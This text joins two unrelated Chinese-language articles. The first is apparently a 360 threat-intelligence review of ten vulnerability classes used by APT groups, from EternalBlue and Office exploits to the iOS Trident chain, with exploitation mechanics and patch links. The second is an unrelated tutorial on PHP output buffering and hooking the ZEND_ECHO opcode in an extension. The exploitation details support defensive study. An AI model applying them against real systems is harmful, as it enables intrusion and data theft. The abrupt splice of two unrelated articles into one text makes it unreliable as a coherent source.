**方程式一类的顶尖APT** **组织所使用的漏洞攻击技术远远领先其他APT** **组织**
方程式一类的顶尖APT组织的攻击技术、网络战思维远远领先于其他APT组织。可以将方程式一类组织的APT攻击技术划分为一类，其它组织的APT攻击技术划分为另外一类。这主要体现在顶尖的APT攻击主要是通过底层植入，攻击核心路由/防火墙等网络基础设施，攻击网络服务器等来实现定点精确打击。而其它APT组织则主要通过钓鱼类攻击配合客户端漏洞来实施APT攻击。
方程式组织 Quantum insert（量子植入）通过攻击网络基础设施实现定点打击
**狭义漏洞分类**
我们可以狭义的将APT组织常用的漏洞分为攻击网络基础设施/服务器/服务类的漏洞和攻击客户端应用软件类的漏洞。
**网络基础设施/** **服务器/** **服务类漏洞**
这类漏洞主要影响网络基础设施（路由交换设备、防火墙等）、服务器、各类服务（SMB/RPC/IIS/远程桌面等等）。攻击者通常可以通过使用相应的漏洞攻陷核心网络设施进而横向移动或者进一步向网络中的其它客户端植入恶意代码，危害巨大，从公开信息来看，这类漏洞主要为方程式一类的顶尖APT组织所使用。
**客户端软件类漏洞**
这类漏洞主要通过钓鱼类攻击手段实施攻击，主要针对客户端应用软件，比如浏览器、Office办公软件、PDF等等，这类漏洞的缺点是需要目标用户交互，所以漏洞价值整体低于攻击服务端的漏洞价值。
## APT组织十大（类）漏洞
360威胁情报中心评选出了APT组织近年来使用的10大（类）漏洞，这其中包含了2类服务端漏洞，8类客户端漏洞。服务端漏洞中包含了NSA网络武器库中的防火墙设备漏洞和“永恒之蓝”使用的SMB协议漏洞。客户端漏洞中包含了移动端Android和iOS的2类漏洞，4类微软Office软件漏洞以及Flash类漏洞和Windows提权漏洞。
360威胁情报中心将会针对每类漏洞的背景、漏洞利用、相关漏洞及影响范围、相关APT组织及事件、补丁及解决方案等分别进行介绍。
### 1\. 防火墙设备漏洞
防火墙作为网络边界设备，通常不属于攻击者攻击的目标，尤其在APT领域中针对防火墙设备的漏洞就更为少见，直到2016年第一批Shadow
Broker泄露的工具中大量针对防火墙及路由设备的工具被曝光，方程式组织多年来直接攻击边界设备的活动才被彻底曝光，此处我们选择
CVE-2016-6366作为这类漏洞的典型代表。
而方程式组织的Quantum
insert（量子植入攻击工具）则正是通过入侵边界防火墙、路由设备等来监听/识别网络内的受害者虚拟ID，进而向被攻击者的网络流量中“注入”相应应用程序（比如IE浏览器）的漏洞攻击代码进行精准的恶意代码植入。
* **漏洞概述**
2016年8月13日客组织Shadow Brokers声称攻破了为NSA开发网络武器的黑客团队Equation
Group，并公开其内部使用的相关工具，EXBA-extrabacon工具，该工具基于0-day漏洞CVE-2016-6366，为Cisco防火墙SNMP服务模块的一处缓冲区溢出漏洞。
* **漏洞详情**
CVE-2016-6366（基于Cisco防火墙SNMP服务模块的一处缓冲区溢出漏洞），目标设备必须配置并启用SNMP协议，同时必须知道SNMP的通信码，漏洞执行之后可关闭防火墙对Telnet/SSH的认证，从而允许攻击者进行未授权的操作。
如下所示sub_817A5A0为对应固件中自实现的copy函数，函数内部没有检测长度，函数的调用方同样也没有对拷贝的长度进行检测，从而导致溢出。
最终可实现任意Telnet登陆：
* **相关CVE**
****
* **相关APT** **组织**
* **相关APT** **事件**
NSA针对全球范围实施的绝密电子监听计划（棱镜计划）。
* **补丁及解决方案**
及时更新网络边界设备固件
软件厂商思科已经发布了漏洞相应的补丁
<https://blogs.cisco.com/security/shadow-brokers>
### 2\. SMB通信协议漏洞
SMB（Server Message
Block）通信协议是微软（Microsoft）和英特尔（Intel）在1987年制定的协议，主要是作为Microsoft网络的通讯协议。
2017年4月14日Shadow
Brokers公布了之前泄露文档中出现的Windows相关部分的文件，该泄露资料中包含了一套针对Windows系统相关的远程代码利用框架（涉及的网络服务范围包括SMB、RDP、IIS及各种第三方的邮件服务器），其中一系列的SMB远程漏洞0day工具（EternalBlue，Eternalromance，Eternalchampoin，Eternalsynergy）之后被集成到多个蠕虫家族中，同年5月12日爆发的WanaCry当时就集成了EternalBlue。
* **漏洞概述**
EternalBlue工具使用了SMB协议中的三处漏洞，其中主体的越界内存写漏洞隶属于微软MS17-010补丁包中的CVE-2017-0144，通过该集成的工具，攻击者可以直接远程获取漏洞机器的控制权限。
* **漏洞详情**
EternalBlue中的核心了漏洞为CVE-2017-0144，该漏洞通过SMB协议的SMB_COM_TRANSACTION2命令触发，当其中的FEA
LIST字段长度大于10000时将导致内存越界写，由于SMB_COM_TRANSACTION2命令本身FEA
LIST的长度最大为FFFF，因此这里就涉及到第二处漏洞，即SMB_COM_TRANSACTION2可被混淆为SMB_COM_NT_TRANSACT，从而实现发送一个FEA
LIST字段长度大于10000的SMB_COM_TRANSACTION2命令，实现越界写，最后通过第三个漏洞进行内存布局，最终实现代码执行。
* **相关CVE**
Shadow Brokers泄露的SMB攻击工具，通过MS17-010补丁进行修补，其中涵盖CVE-2017-0143，CVE-2017-0144，
CVE-2017-0145， CVE-2017-0146，CVE-2017-0148五个漏洞，包含几处SMB协议中的缺陷，通过相互组合从而形成了Shadow
Brokers泄露工具中针对SMB协议的永恒系列武器。
* **相关组织**
该泄露的工具本身出自NSA旗下的黑客组织Equation Group，相关工具泄露后为大量的勒索，蠕虫所使用。
* **相关事件**
2017年5月12日全球爆发大范围的Wanacry勒索蠕虫事件，之后被证明和Lazarus有关。
* **补丁解决方案**
及时更新操作系统补丁。
软件厂商微软已经发布了漏洞相应的补丁：
<https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2017/ms17-010>
### 3\. Office OLE2Link逻辑漏洞
Office
OLE2Link是微软办公软件（Office）中的一个重要特性，它允许Office文档通过对象链接技术在文档中插入远程对象，在文档打开时自动加载处理。由于设计不当，在这个处理过程中出现了严重的逻辑漏洞，而我们选择CVE-2017-0199为这类漏洞的典型代表。
* **漏洞概述**
2017年4月7日McAfee与FireEye的研究员爆出微软Office
Word的一个0-day漏洞的相关细节（CVE-2017-0199）。攻击者可以向受害人发送一个带有OLE2link对象附件的恶意文档，诱骗用户打开。当用户打开恶意文档时，Office
OLE2Link机制在处理目标对象上没有考虑相应的安全风险，从而下载并执行恶意HTML应用文件（HTA）。
* **漏洞详情**
CVE-2017-0199利用了Office OLE2Link对象链接技术，将恶意链接对象嵌入在文档中，之后调用URL
Moniker将恶意链接中的HTA文件下载到本地，URLMoniker通过识别响应头中content-type的字段，最终调用mshta.exe执行HTA文件中的攻击代码。
在影响面方面，CVE-2017-0199几乎影响了所有版本的Office软件，是历来Office漏洞中影响面最广的漏洞之一，并且易于构造，触发稳定，这使得其在2017年的BlackHat黑帽大会上被评为最佳客户端安全漏洞。
* **相关CVE**
对于CVE-2017-0199，微软采取了一种叫做“COM Activation Filter”
的机制，修补程序直接封锁了两个危险的CLSID，{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}（“htafile”
对象）和{06290BD3-48AA-11D2-8432-006008C3FBFC}（“script”
对象）。而CVE-2017-8570则利用了一个其他的对象：“ScriptletFile”，CLSID
是“{06290BD2-48AA-11D2-8432-006008C3FBFC}”，从而绕过了CVE-2017-0199 的补丁。
* **相关APT** **组织**
Office OLE2Link逻辑漏洞原理简单，易于构造，触发稳定，深受APT组织的青睐，已经被大部分APT组织纳入攻击武器库。
* **相关APT** **事件**
2017年6月，乌克兰等国遭受大规模Petya变种勒索病毒攻击，攻击者使用Microsoft
Office远程执行代码漏洞（CVE-2017-0199）通过电子邮件进行投递，感染成功后利用永恒之蓝漏洞进行传播。
2018年3月360威胁情报中心发布报告《摩诃草APT组织针对我国敏感机构最新的网络攻击活动分析》称摩诃草组织（APT-C-09）针对我国敏感机构使用了带有CVE-2017-8570漏洞的鱼叉邮件进行定向攻击：
* **补丁及解决方案**
尽量不要打开来源不明的文档，也可以使用360安全卫士之类的防病毒软件对文档进行扫描后再打开以尽可能降低风险，如果有条件尽量使用虚拟机打开陌生文档。
软件厂商微软已经发布了漏洞相应的补丁：
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199>
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8570>
### 4\. Office公式编辑器漏洞
EQNEDT32.EXE（Microsoft公式编辑器），该组件首发于Microsoft Office 2000和Microsoft
2003，以用于向文档插入和编辑方程式，虽然从Office
2007之后，方程式相关的编辑发生了变化，但为了保持版本的兼容性，EQNEDT32.EXE本身也没有从Office套件中删除。而该套件自17年前编译之后就从未被修改，这就意味着其没有任何安全机制（ASLR，DEP，GS
cookies…）。并且由于EQNEDT32.EXE进程使用DCOM方式启动而独立于Office进程，从而不受Office高版本的沙盒保护，所以该类漏洞具有天生“绕过”沙盒保护的属性，危害巨大。此处我们选择该组件下发现的第一个漏洞CVE-2017-11882作为该类漏洞的典型。
* **漏洞概述**
2017年11月14日，Embedi发布博文Skeleton in the closet. MS Office vulnerability you
didn’t know
about，该文章就EQNEDT32.EXE中出现的CVE-2017-11882漏洞的发现和利用进行了分析，CVE-2017-11882为公式Font
Name字段解析时的缓冲区溢出漏洞，通过构造带有非法公式的Doc/RTF文档，可导致代码执行。
* **漏洞详情**
CVE-2017-11882为一处栈溢出漏洞，如下所示红框中的Font
Name字段最终会导致栈溢出，返回地址被覆盖为00430c12，该地址指向WinExe函数，父函数第一个参数正好指向构造字符，从而导致WinExe执行构造字符中的命令。
* **相关CVE**
自2017年11月14日后，CVE-2018-0802/CVE-2018-0798两个EQNEDT32.EXE相关的漏洞相继被发现。
* **相关APT** **组织**
****
* **相关APT** **事件**
APT34通过CVE-2017-11882投递鱼叉邮件攻击中东多国金融政府机构。
* **补丁及解决方案**
个人用户下载打开来源不明的文档需要非常谨慎，使用360安全卫士之类的防病毒木马流氓软件的工具进行扫描以尽可能降低风险，如果有条件尽量使用虚拟机打开陌生文档。
软件厂商微软已经发布了漏洞相应的补丁：
[https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/
CVE-2017-11882](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/%20CVE-2017-11882)
[https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/
CVE-2018-0802](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/%20CVE-2018-0802)
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0798>
### 5\. OOXML类型混淆漏洞
OOXML是微软公司为Office
2007产品开发的技术规范，现已成为国际文档格式标准，兼容前国际标准开放文档格式和中国文档标准“标文通”，Office富文本中本身包含了大量的XML文件，由于设计不当，在对其中的XML文件进行处理的时候，出现了严重的混淆漏洞，最典型的包括CVE-2015-1641，CVE-2017-11826，这里我们选择近年来最流行的OOXML类型混淆漏洞CVE-2015-1641作为典型代表。
* **漏洞概述**
2015年4月，微软修补了一个CVE编号为CVE-2015-1641的Office Word类型混淆漏洞。Office
Word在解析Docx文档displacedByCustomXML属性时未对customXML对象进行验证，造成类型混淆，导致任意内存写，最终经过精心构造的标签以及对应的属性值可以造成远程任意代码执行。这是第一个利用成功率非常高且被APT组织频繁使用的OOXML类型混淆漏洞。
* **漏洞详情**
CVE-2015-1641中，由于Office
Word没有对传入的customXML对象进行严格的校验，导致可以传入比如smartTag之类的对象，然而smartTag对象的处理流程和customXML并不相同，如果customXML标签被smartTag标签通过某种方法混淆解析，那么smartTag标签中的element属性值会被当作是一个地址，随后经过简单的计算得到另一个地址。最后处理流程会将moveFromRangeEnd的id值覆盖到之前计算出来的地址中，导致任意内存写入。然后通过写入可控的函数指针，以及通过Heap
Spray精心构造内存布局，最终导致代码执行：
* **相关CVE**
2017年9月28日，360追日团队捕获了一个利用Office
0day漏洞（CVE-2017-11826）的在野攻击，该漏洞几乎影响微软目前所支持的所有Office版本，在野攻击只针对特定的Office版本。攻击者以在RTF文档中嵌入了恶意Docx内容的形式进行攻击。
* **相关APT** **组织**
CVE-2015-1641相关的利用技术早已公开，且该漏洞利用的成功率非常高，所以该漏洞在Office
OLE2Link逻辑漏洞还未曾风靡之前是各大APT组织最常用的Office漏洞之一。
* **相关APT** **事件**
摩诃草APT组织自2016年以来针对我国的多起攻击事件大量使用了包含CVE-2015-1641的漏洞文档。
* **补丁及解决方案**
个人用户下载打开来源不明的文档需要非常谨慎，使用360安全卫士之类的防病毒木马流氓软件的工具进行扫描以尽可能降低风险，如果有条件尽量使用虚拟机打开陌生文档。
软件厂商微软已经发布了漏洞相应的补丁：
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8570>
### 6\. EPS（Encapsulated Post Script）脚本解析漏洞
EPS全称Encapsulated Post
Script，属于PostScript的延伸类型，适用于在多平台及高分别率输出设备上进行色彩精确的位图及向量输出，因此在Office中也引进了相应的支持，但是自2015年起多个Office中EPS相关的漏洞被利用，其中包括CVE-2015-2545，CVE-2017-0261，CVE-2017-0262，最终导致微软不得不禁用Office中的EPS组件，而此处我们选择以CVE-2017-0262作为典型代表。
* **漏洞概述**
2017年5月7日FireEye研究员在文章EPS Processing Zero-Days Exploited by Multiple Threat
Actors中披露了多个EPS
0-day漏洞的在野利用，其中就包含CVE-2017-0262，CVE-2017-0262为ESP中forall指令中的一处漏洞，由于forall指令对参数校验不当，导致代码执行。
* **漏洞详情**
CVE-2017-0262的利用样本中首先对实际的EXP进行了四字节的xor编码，key为c45d6491：
漏洞的关键点在于以下一行的代码，在EPS中forall指令会对第一个参数中的每一个对象执行处理函数proc（即第二个参数），此处由于对第二个参数的类型判断不严格，导致0xD80D020这个攻击者之前通过堆喷控制的内存地址被作为处理函数的地址，从而esp堆栈被控制，致使最后的代码执行：
* **相关CVE**
* **相关APT** **组织**
由于EPS漏洞本身利用难度较大，且EPS自Office
2010之后就处于沙箱中隔离执行，因此往往还需要提权漏洞辅助，因此该系列漏洞的使用者往往是知名的大型APT组织。
* **相关APT** **事件**
APT28组织通过发送鱼叉邮件（CVE-2017-0262/
CVE-2017-0263）攻击影响法国大选，邮件为附件为一个名为Trump’s_Attack_on_Syria_English.docx的Office文件，导致当时马克龙竞选团队多达9G的数据被上传到外网。
* **补丁及解决方案**
个人用户下载打开来源不明的文档需要非常谨慎，使用360安全卫士之类的防病毒木马流氓软件的工具进行扫描以尽可能降低风险，如果有条件尽量使用虚拟机打开陌生文档。
软件厂商微软已经发布了漏洞相应的补丁：
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2015-2545>
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0261>
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0262>
### 7\. Windows提权漏洞
近年来针对Windows客户端的漏洞攻击越来越多，这直接导致各大厂商对其客户端软件引入了“沙盒”保护技术，其核心思想即是将应用程序运行在隔离环境中，隔离环境通常是一个低权限的环境，也可以把沙盒看做是一个虚拟的容器，让不是很安全的程序在运行的过程中，即便客户端软件遭受恶意代码的入侵也不会对使用者的计算机系统造成实际威胁。
引入了“沙盒”保护的常客户端程序有：IE/Edge浏览器、Chrome浏览器、Adobe
Reader、微软Office办公软件等等。而客户端程序漏洞如果配合Windows提权漏洞则可以穿透应用程序“沙盒”保护。
* **漏洞概述**
在对Office办公软件的EPS（Encapsulated Post Script）组件进行漏洞攻击的过程中，由于Office
2010及其高版本上的EPS脚本过滤器进程fltldr.exe被保护在低权限沙盒内，要攻破其中的低权限沙盒保护措施，攻击者就必须要使用远程代码执行漏洞配合内核提权漏洞进行组合攻击。所以我们选择Win32k.sys中的本地权限提升漏洞（CVE-2017-0263）这一个配合EPS类型混淆漏洞（CVE-2017-0262）进行组合攻击的提权漏洞作为典型代表。
* **漏洞详情**
CVE-2017-0263漏洞利用代码首先会创建三个PopupMenus，并添加相应的菜单。由于该UAF漏洞出现在内核的WM_NCDESTROY事件中，并会覆盖wnd2的tagWnd结构，这样可以设置bServerSideWindowProc标志。一旦设置了bServerSideWindowProc，用户模式的WndProc过程就会被视为内核回调函数，所以会从内核上下文中进行调用。而此时的WndProc则被攻击者替换成了内核ShellCode，最终完成提权攻击。
* **相关CVE**
* **相关APT** **组织**
* **相关APT** **事件**
针对日本和台湾的APT攻击以及APT28针对法国大选等攻击事件。
* **补丁及解决方案**
个人用户下载打开来源不明的文档需要非常谨慎，使用360安全卫士之类的防病毒木马流氓软件的工具进行扫描以尽可能降低风险，如果有条件尽量使用虚拟机打开陌生文档。
软件厂商微软已经发布了漏洞相应的补丁：
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2015-2546>
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2016-7255>
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0001>
<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0263>
### 8\. Flash漏洞
Flash
player因为其跨平台的普及性，一直为各个APT组织关注，从2014年起，Flash漏洞开始爆发，尤其到2015年，HackingTeam泄露数据中两枚0-day漏洞CVE-2015-5122/CVE-2015-5199，Flash漏洞相关的利用技术公开，Flash漏洞开始成为APT组织的新宠，尽管之后Adobe和Google合作，多个Flash安全机制陆续出炉（如隔离堆，vector
length检测），大大提高了Flash漏洞利用的门槛，但也不乏出现CVE-2015-7645这一类混淆漏洞的怪咖。这里我们选择不久前发现的在野0-day
CVE-2018-4878作为这类漏洞的典型代表。
* **漏洞概述**
2018年1月31日，韩国CERT发布公告称发现Flash
0day漏洞（CVE-2018-4878）的野外利用，攻击者通过发送包含嵌入恶意Flash对象的Office Word附件对指定目标进行攻击。
* **漏洞详情**
CVE-2018-4878通过Flash
om.adobe.tvsdk包中的DRMManager对象进行攻击，如下代码所示，triggeruaf函数中创建一个MyListener对象实例，通过initialize进行初始化，并将该实例设置为null，之后的第一个LocalConnection().connect()会导致gc回收该实例内存，第二次LocalConnection().connect()时触发异常，在异常处理中会创建一个新的MyListener实例，内存管理器会将之前MyListener对象实例的内存分配给新对象，即此处的danglingpointer，设置timer，在其回调函数中检测uaf是否触发，成功则通过Mem_Arr进行站位：
* **相关CVE**
* **相关APT** **组织**
* **相关APT** **事件**
Group123利用CVE-2018-4878攻击韩国敏感部门。
* **补丁及解决方案**
个人用户下载打开来源不明的文档需要非常谨慎，使用360安全卫士之类的防病毒木马流氓软件的工具进行扫描以尽可能降低风险，如果有条件尽量使用虚拟机打开陌生文档。
软件厂商adobe已经发布了漏洞相应的补丁：
<https://helpx.adobe.com/security/products/flash-player/apsb18-03.html>
<https://helpx.adobe.com/security/products/flash-player/apsb17-32.html>
### 9\. iOS三叉戟漏洞
iOS三叉戟漏洞是目前唯一一个公开披露的针对iOS系统浏览器的远程攻击实例，并真实用于针对特点目标的APT攻击中。
* **漏洞概述**
iOS三叉戟漏洞是指针对iOS 9.3.5版本之前的iOS系统的一系列0 day漏洞，其利用了3个0
day漏洞，包括一个WebKit漏洞，一个内核地址泄露漏洞和一个提权漏洞。通过组合利用三个0
day漏洞可以实现远程对iOS设备的越狱，并且安装运行任意恶意代码。
* **漏洞详情**
iOS三叉戟漏洞利用载荷可以通过访问特定的URL触发，所以可以通过短信、邮件、社交网络或者即时通讯等发送恶意链接诱导目标人员点击打开链接实现漏洞的触发。由于WebKit
JavaScriptCore库存在任意代码执行漏洞，当Safari浏览器访问恶意链接并触发恶意的JavaScript载荷执行，其利用代码进入Safari
WebContent进程空间。其随后利用另外两个漏洞实现权限提升，并越狱掉iOS设备。最后三叉戟漏洞可以实现下载和运行用于持久性控制的恶意模块。
图片来源Lookout[3]
* **相关CVE**
iOS三叉戟漏洞涉及3个0 day漏洞，其CVE编号及相关信息如下表所示：
* **相关APT** **组织和事件**
三叉戟漏洞的最初发现是因为阿联酋一名重要的人权捍卫者Ahmed
Mansoor在2016年8月10日和11日，其iPhone手机收到两条短信，内容为点击链接可以查看关于关押在阿联酋监狱犯人遭受酷刑的秘密内容。其随后将短信内容转发给公民实验室(Citizen
Lab)，由公民实验室和Lookout安全公司联合分析发现，最后发现该三叉戟漏洞和相关恶意载荷与著名的以色列间谍软件监控公司NSO Group有关。
图片来源[1]
* **补丁及解决方案**
苹果公司随后在2016年8月25日发布iOS 9.3.5，修补了三叉戟漏洞[2]。
### 10.Android浏览器remote2local漏洞利用
该Android浏览器漏洞利用代码的泄露揭示了网络军火商和政府及执法机构利用远程攻击漏洞针对Android用户的攻击和监控，并且该漏洞利用过程实现几乎完美，也体现了漏洞利用技术的艺术特点。
该漏洞利用代码几乎可以影响当时绝大多数主流的Android设备和系统版本。
* **漏洞概述**
Android浏览器remote2local漏洞利用是2015年7月Hacking
Team遭受入侵并泄露内部源代码资料事件后，其泄露源代码中包含了针对Android
4.0.x-4.3.x系统版本的浏览器的攻击利用代码，其可以达到远程代码执行，并执行提权代码提升至root权限，最后达到静默安装恶意程序的目的。
该漏洞利用的组合了Google Chrome的三个N-day漏洞和针对Android系统的提权漏洞完成完整的利用攻击过程。
* **漏洞详情**
该Android浏览器漏洞利用主要因为WebKit中关于XML语言解析和XSLT转换的libxslt库，其利用过程实际上是基于多个漏洞的组合利用过程。其首先利用一个信息泄露漏洞获取内存地址相关信息，并利用内存任意读写构造ROP攻击最终实现执行任意代码的目的。其最后执行提权代码，该漏洞利用中使用的提权漏洞为CVE-2014-3153，其产生于内核的Futex系统调用。当提权获得root权限以后，执行静默安装恶意APK应用。
* **相关CVE**
Hacking Team的针对Android浏览器的remote2local漏洞利用工具结合了3个针对浏览器的漏洞和2个用于提权的漏洞。
* **相关APT** **组织和事件**
该漏洞的相关利用情况没有在历史公开的事件报告中披露过，由于专注于向政府部门及执法机构提供电脑入侵与监视服务的意大利公司Hacking
Team在2015年7月遭受入侵，其内部源代码和相关资料邮件内容被泄露，首次披露了其具有针对该漏洞的完整攻击利用代码。
并且在泄露的邮件中频繁出现该公司向客户说明该漏洞的利用方法和过程。
* **补丁及解决方案**
Google在发布的Android 4.4系统版本修复了上述问题。
## 总结
**方程式一类的顶尖APT** **组织掌握最先进的漏洞攻击技术**
方程式一类顶尖的APT组织掌握了最先进的漏洞攻击技术，这包括了其对几乎所有互联网相关设施、设备、软件、应用漏洞的全覆盖，而其它APT组织依然钟情于使用客户端软件的漏洞进行钓鱼攻击。
**针对Office** **的漏洞攻击依然是大部分APT** **攻击的焦点**
从使用频率上来看，Office漏洞依然是大部分APT组织最常使用的漏洞，且依然是非常有效的APT攻击入口。
**移动端APT** **攻击逐渐成为新的热点**
移动设备的普及程度和市场占有率的大幅度提升，所以APT组织也开始将针对其目标对象的攻击范围延伸至移动设备领域。在过去针对移动设备攻击的APT活动中，以针对iOS系统的三叉戟漏洞和针对Android系统的Hacking
Team泄露的浏览器攻击利用尤为出众，并揭示了移动定向攻击中也同样具备过去网络攻击中展现的技术高级性特点，也揭示了网络军火商制作和贩卖针对移动平台的网络武器的事实。
## 参考
[1].https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/
[2].https://support.apple.com/zh-cn/HT207107
[3].https://info.lookout.com/rs/051-ESQ-475/images/lookout-pegasus-technical-analysis.pdf
[4].https://github.com/f47h3r/hackingteam_exploits/tree/master/vector-exploit/src/ht-webkit-Android4-src
[5].http://www.freebuf.com/vuls/78594.html
[6].http://www.freebuf.com/vuls/84720.html
[7].https://wikileaks.org/hackingteam/emails/emailid/74975
[8].https://wikileaks.org/hackingteam/emails/emailid/631119
[9].https://security.tencent.com/index.php/blog/msg/87
[10].https://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-rcsandroid-spying-tool-listens-to-calls-roots-devices-to-get-in/
[11].https://wikileaks.org/ciav7p1/cms/page_11629096.html
[12].https://wikileaks.org/ciav7p1/cms/page_13205587.html
[13].https://www.welivesecurity.com/2017/05/09/sednit-adds-two-zero-day-exploits-using-trumps-attack-syria-decoy/
[14].https://www.mdsec.co.uk/2018/02/adobe-flash-exploitation-then-and-now-from-cve-2015-5119-to-cve-2018-4878/
[15].https://www.fortinet.com/blog/threat-research/the-curious-case-of-the-document-exploiting-an-unknown-vulnerability-part-1.html
[16].https://www.fireeye.com/blog/threat-research/2017/05/eps-processing-zero-days.html
[17].https://www.anquanke.com/post/id/94841
[18].https://www.anquanke.com/post/id/94210
[19].https://www.anquanke.com/post/id/87311
[20].https://www.anquanke.com/post/id/87122
[21].https://ti.360.net/blog/articles/detailed-analysis-of-eternalblue/
[22].https://research.checkpoint.com/eternalblue-everything-know/
[23].https://paper.seebug.org/536/
[24].https://paper.seebug.org/351/
[25].https://github.com/worawit/MS17-010
[26].https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about/
[27]https://bbs.pediy.com/thread-221995.htm
[28]http://www.venustech.com.cn/NewsInfo/4/46670.Html
[29]http://www.freebuf.com/vuls/81868.html
[30]http://www.freebuf.com/vuls/162629.html
[31]http://www.freebuf.com/vuls/112589.html
[32]http://rtf2latex2e.sourceforge.net/MTEF3.html
[33]http://bobao.360.cn/learning/detail/3738.html
[34]http://blog.trendmicro.com/trendlabs-security-intelligence/ms17-010-eternalblue/ | 社区文章 |
## 起因
想通过php扩展获取到页面返回的response
## ob_start的源码实现
先看看ob_start的实现
在`main/output.c`和`main/php_output.h`下
PHP_FUNCTION(ob_start)
{
zval *output_handler = NULL;
zend_long chunk_size = 0;
zend_long flags = PHP_OUTPUT_HANDLER_STDFLAGS;
if (zend_parse_parameters(ZEND_NUM_ARGS(), "|z/ll", &output_handler, &chunk_size, &flags) == FAILURE) {
return;
}
if (chunk_size < 0) {
chunk_size = 0;
}
if (php_output_start_user(output_handler, chunk_size, flags) == FAILURE) {
php_error_docref("ref.outcontrol", E_NOTICE, "failed to create buffer");
RETURN_FALSE;
}
RETURN_TRUE;
}
跟进到最后会发现`php_output_handler_start`函数
PHPAPI int php_output_handler_start(php_output_handler *handler)
{
...
/* zend_stack_push returns stack level */
handler->level = zend_stack_push(&OG(handlers), &handler);
OG(active) = handler;
return SUCCESS;
}
其中OG是一个叫`output_globals`的全局变量`ob_start()`后的缓冲区
经过调试,发现所有于输出有关的函数都会调用一个叫`php_output_op`的函数
static inline void php_output_op(int op, const char *str, size_t len)
{
php_output_context context;
...
if (OG(active) && (obh_cnt = zend_stack_count(&OG(handlers)))) {
context.in.data = (char *) str;
context.in.used = len;
...
} else {
context.out.data = (char *) str;
context.out.used = len;
}
...
}
通过判断`OG(active)`是否为NULL来决定进不进入缓存区
接着来看看字符串如何进入缓冲区
static inline int php_output_handler_append(php_output_handler *handler, const php_output_buffer *buf)
{
if (buf->used) {
OG(flags) |= PHP_OUTPUT_WRITTEN;
/* store it away */
//空间不够时会去申请
if ((handler->buffer.size - handler->buffer.used) <= buf->used) {
size_t grow_int = PHP_OUTPUT_HANDLER_INITBUF_SIZE(handler->size);
size_t grow_buf = PHP_OUTPUT_HANDLER_INITBUF_SIZE(buf->used - (handler->buffer.size - handler->buffer.used));
size_t grow_max = MAX(grow_int, grow_buf);
handler->buffer.data = erealloc(handler->buffer.data, handler->buffer.size + grow_max);
handler->buffer.size += grow_max;
}
//将数据复制过去
memcpy(handler->buffer.data + handler->buffer.used, buf->data, buf->used);
handler->buffer.used += buf->used;
/* chunked buffering */
if (handler->size && (handler->buffer.used >= handler->size)) {
/* store away errors and/or any intermediate output */
return OG(running) ? 1 : 0;
}
}
return 1;
}
## 编写插件
### 思路
可以和`output_globals.active->buffer`相似,创造一个全局的缓存区
在`MINIT`阶段初始化这个全局变量并hook各输出函数的`opcode`,写入缓冲区
在`RSHUTDOWN`阶段将全局变量的数据保存在文件内
### 创建一个插件
在php的源码下进入`ext`目录,输入
`./ext_skel --extname=myext`
### 全局变量的定义与初始化
编辑`php_hook_output_ext.h`
先来看一下`output_globals.active->buffer`的结构
typedef struct _php_output_buffer {
char *data;
size_t size;
size_t used;
uint free:1;
uint _reserved:31;
} php_output_buffer;
在上文的`php_output_handler_append`函数中可看到只用了前3个
于是编写全局变量如下
ZEND_BEGIN_MODULE_GLOBALS(myext)
char *data; //缓存区
size_t size; //缓存区大小
size_t used; //数据长度
ZEND_END_MODULE_GLOBALS(myext)
完成定义,在`hook_output_ext.c`下进行初始化与析构
static void php_myext_globals_ctor(zend_myext_globals *G TSRMLS_DC)
{
G->data = NULL;
G->size = 0;
G->used = 0;
}
static void php_myext_globals_dtor(zend_myext_globals *G TSRMLS_DC)
{
efree(G->data);
}
并分别在`MINIT`阶段和`RSHUTDOWN`调用
### hook opcode
这里以`ZEND_ECHO`这条opcode为例
当php执行`echo xxxx;`时会调用这条opcode
关于如何hook具体可以参考<https://xz.aliyun.com/t/4214#toc-2>
这里主要讲hook后数据的处理
static int get_data(char *str, size_t str_len)
{
if(str_len){
//size如果不够就申请更大的空间
if ((MYEXT_G(size) - MYEXT_G(used)) <= str_len){
size_t grow_int = PHP_OUTPUT_HANDLER_INITBUF_SIZE(MYEXT_G(size));
size_t grow_buf = PHP_OUTPUT_HANDLER_INITBUF_SIZE(str_len - (MYEXT_G(size) - MYEXT_G(used)));
size_t grow_max = MAX(grow_int, grow_buf);
MYEXT_G(data) = erealloc(MYEXT_G(data), MYEXT_G(size) + grow_max);
MYEXT_G(size) += grow_max;
}
memcpy(MYEXT_G(data) + MYEXT_G(used), str, str_len);
MYEXT_G(used) += str_len;
}
return 1;
}
static int hook_echo(ZEND_OPCODE_HANDLER_ARGS)
{
zend_op *opline = execute_data->opline;
zval *z = EX_CONSTANT(opline->op1);
if (Z_TYPE_P(z) == IS_STRING) {
zend_string *str = Z_STR_P(z);
if (ZSTR_LEN(str) != 0) {
get_data(ZSTR_VAL(str), ZSTR_LEN(str));
}
} else {
zend_string *str = _zval_get_string_func(z);
if (ZSTR_LEN(str) != 0) {
get_data(ZSTR_VAL(str), ZSTR_LEN(str));
}
zend_string_release(str);
}
return ZEND_USER_OPCODE_DISPATCH;
}
可以看到`get_data`是直接根据`php_output_handler_append`改的
`hookecho`是根据`ZEND_ECHO`的一个hander编成的
